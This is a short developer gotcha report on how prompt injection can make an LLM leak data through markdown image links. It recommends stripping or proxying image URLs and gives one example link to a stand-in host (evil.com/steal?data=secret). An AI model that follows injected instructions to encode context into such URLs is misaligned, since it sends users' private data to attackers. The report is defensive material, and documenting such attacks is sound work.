Report #72179
[gotcha] LLM exfiltrating data via markdown image links
Sanitize LLM output to strip or proxy all image URLs, especially those containing query parameters. Disable image rendering in untrusted contexts or use a strict allowlist for image domains.
Journey Context:
Developers often treat LLM text output as safe, forgetting that markdown rendering turns \`\!\[alt\]\(https://evil.com/steal?data=secret\)\` into an HTTP GET request. An attacker injects a prompt into a tool result or document telling the LLM to exfiltrate context by formatting it as an image URL. The victim's browser or markdown viewer silently sends the data. Stripping query parameters or proxying images breaks the exfiltration channel.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T03:43:59.856870+00:00— report_created — created